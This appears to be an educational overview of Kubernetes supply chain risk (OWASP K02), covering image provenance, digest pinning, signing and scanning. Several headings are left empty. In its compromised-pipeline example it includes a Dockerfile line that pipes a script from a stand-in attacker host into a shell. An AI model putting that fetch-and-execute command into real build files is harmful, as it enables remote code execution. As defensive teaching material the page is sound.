Back

K02: Supply Chain Vulnerabilities - Overview

What are Supply Chain Vulnerabilities?

Supply Chain Vulnerabilities (K02 in the OWASP Kubernetes Top 10) are the risks that enter a cluster through the artifacts it runs rather than through the cluster's own configuration. A Kubernetes workload is the end of a long assembly line: a base image, application code and its third-party dependencies, a build pipeline, a registry, a Helm chart or operator, and finally a manifest that pulls it all into a running Pod. Every stage in that line is an opportunity to introduce something vulnerable, tampered, or outright malicious—and Kubernetes will faithfully schedule whatever it is handed.

Unlike a single coding bug, K02 is about trust and provenance: can you prove that what is running is exactly what you intended to run, built from sources you trust, and free of known-vulnerable components? For most clusters the honest answer is "not really"—images are pulled by mutable tag from public registries, nobody knows what is inside a layer, and there is no signature to verify. That gap is the K02 attack surface.

Core Concept

Trusted Supply Chain:
  Base image   -> minimal, trusted (distroless / verified vendor), regularly rebuilt
  References   -> pinned by immutable digest (sha256:...), never :latest
  Contents     -> SBOM generated and stored; every component known
  Provenance   -> image signed (cosign) with attestations (SLSA / in-toto)
  Scanning     -> CVE scan in CI AND enforced again at admission
  Registry     -> private registry / explicit allow-list of sources
  Runtime user -> non-root, read-only root filesystem
  Charts       -> Helm charts and operators vetted and version-pinned

Vulnerable Supply Chain:
  Base image   -> random public image, unknown maintainer, years stale
  References   -> image: myapp:latest  (mutable, resolves to who-knows-what)
  Contents     -> nobody knows what packages or binaries are in the layers
  Provenance   -> unsigned; no way to prove origin or detect tampering
  Scanning     -> images never scanned before or after deployment
  Registry     -> anything from Docker Hub / arbitrary registries is allowed
  Runtime user -> runs as root by default, writable filesystem
  Charts       -> curl | bash of an untrusted chart or operator

Why It's Critical for Kubernetes

Kubernetes amplifies supply chain risk in ways a single host does not:

Why Does This Matter?

Business Impact

Technical Impact

Technical Context

Where Supply Chain Risk Enters the Lifecycle

1. Untrusted or Vulnerable Base Images

FROM ubuntu:latest        # huge, mutable, hundreds of packages you never use
# ... months later this image is full of unpatched CVEs and unused binaries

Risk: A large, stale, or unverified base drags in known-vulnerable packages and extra binaries (shells, package managers) that widen the attack surface.

2. Images Pulled by Mutable Tag Instead of Digest

spec:
  containers:
    - name: app
      image: registry.example.com/app:latest   # resolves to a DIFFERENT digest over time

Risk: :latest (or any moving tag) means the running artifact is not pinned. What passed your tests can differ from what the node pulls, and a compromised tag silently swaps the workload.

3. Malicious or Typosquatted Public Images

image: docker.io/library-nginx:stable   # look-alike name, not the official image
image: docker.io/someuser/redis-prod    # unknown maintainer, backdoored layers

Risk: Public registries host look-alike and outright malicious images; a single character or an unfamiliar namespace can mean a crypto-miner or reverse shell baked into the layers.

4. Compromised Build Pipeline

# A tampered CI step injects an extra layer / binary before push
RUN curl -s http://attacker.example/implant.sh | sh   # added by a compromised runner

Risk: If the pipeline that builds and pushes images is compromised (leaked token, poisoned dependency, malicious action), attacker code is signed off as "our official build."

5. Unsigned Images with No Provenance

$ cosign verify registry.example.com/app@sha256:...
Error: no signatures found        # nothing proves who built this or from what

Risk: Without signatures and attestations there is no way to detect a swapped or tampered image, and no way to prove the build source.

6. Embedded Secrets in Image Layers

COPY .env /app/.env               # baked into a layer, extractable forever
ENV AWS_SECRET_ACCESS_KEY=AKIA... # visible in image history to anyone who pulls it

Risk: Secrets copied or set during build persist in image history; anyone who can pull the image can extract them with docker history or by unpacking layers.

Layers Where Supply Chain Risk Hides

Lifecycle StageTypical WeaknessConsequence
Base imageLarge, stale, or unverified baseKnown CVEs, bloated attack surface
DependenciesUnpinned or vulnerable third-party librariesExploitable known vulnerabilities
Build pipelineCompromised runner, poisoned action, leaked tokenInjected/backdoored artifacts
Registry / distributionPublic pulls, no allow-list, mutable tagsMalicious or swapped images
ProvenanceUnsigned images, no attestations, no SBOMTampering undetectable
Charts / operatorsUntrusted Helm charts and operatorsPrivileged malicious workloads
Runtime defaultsRuns as root, secrets in layersEscalation, credential theft

Real-World Impact

The incidents below are described as classes of publicly documented events. They illustrate how supply chain weaknesses are exploited without attributing invented specifics to any single victim.

Case Study 1: Malicious Crypto-Miner Images on Public Registries

Weakness:

Impact:

Root Cause: Implicit trust in public-registry images with no provenance verification and no admission control over image sources.

Case Study 2: Dependency Confusion / Substitution

Weakness:

Impact:

Root Cause: Ambiguous dependency resolution and lack of provenance/pinning, so an untrusted source could substitute for a trusted one.

Case Study 3: Build-Pipeline Compromise (SolarWinds-class)

Weakness:

Impact:

Root Cause: Trust placed in the output of a pipeline without independently verifiable provenance (reproducible builds, attestations) covering how the artifact was produced.

Prevalence and Statistics

Supply Chain Vulnerabilities are consistently rated among the hardest to control and most impactful categories in the OWASP Kubernetes Top 10, because the risk is inherited from artifacts an organisation often did not build and cannot fully see into.

Rather than cite precise breach counts (which vary by source and year), the defensible picture is:

Note: exact percentages differ between reports and years. Treat any single figure as illustrative; the durable takeaway is that most clusters cannot currently prove what they are running or what is inside it.

Common Misunderstandings

Myth 1: "It's from Docker Hub, so it's fine"

Reality: Public registries host anyone's images, including typosquatted and malicious ones. Popularity and a familiar-looking name are not provenance. Verify the source, pin the digest, and scan the contents.

Myth 2: "We use the official base image, so we're safe"

Reality: Even a trusted base accumulates CVEs over time. A base that was clean at build is vulnerable months later. Rebuild regularly and scan on every build, not just once.

Myth 3: "The tag is stable, so the image is stable"

Reality: Tags are mutable pointers. :latest—or even :1.2.3—can be repushed to a different digest. Only an immutable digest (@sha256:...) guarantees the artifact you tested is the artifact that runs.

Myth 4: "We scan images, so the supply chain is covered"

Reality: Scanning finds known CVEs; it does not prove provenance. A scan will not tell you the image was swapped, tampered with, or built by a compromised pipeline. Scanning and signing solve different problems—you need both.

Myth 5: "A Helm chart from the internet is just config"

Reality: Charts and operators deploy real, often privileged workloads and pull their own images. An untrusted chart can grant itself cluster-wide permissions or run an unvetted image. Vet and pin them like any other dependency.

Myth 6: "Provenance is only for regulated industries"

Reality: Signing and SBOMs are how you answer "is this ours and what is in it?" during an incident. Without them, responding to a tampered-artifact report means rebuilding blind. Every team that ships containers benefits.

How K02 Differs from Related Issues

AspectK02 Supply ChainK01 Insecure Workload ConfigK08 Vulnerable Components
Root causeUntrusted / unverifiable artifactsInsecure Pod/manifest settingsOutdated components in use
Where it livesBuild & distribution pipelineWorkload spec / securityContextRunning dependency versions
Typical fixSign, verify, pin, SBOM, scanHarden the Pod specPatch / upgrade
DetectionProvenance check, image scan, admissionManifest / policy auditSCA, version audit

Key Takeaways

  1. The cluster runs what it is handed—risk enters through images, charts, and pipelines, not just your own code.
  2. Provenance is the core question—can you prove what is running is what you intended, from a source you trust?
  3. Pin by digest, never by mutable tag—:latest means the artifact can change out from under you.
  4. Scanning and signing are complementary—one finds known CVEs, the other proves origin; you need both.
  5. Enforce at admission—a policy that blocks unsigned, unscanned, or untrusted images is the gate that makes the rest real.

How to Identify if You're Vulnerable

Ask these questions about your clusters and pipelines:

If you answered "no" or "not sure" to several of these, your cluster likely has an exploitable supply chain today.

Next Steps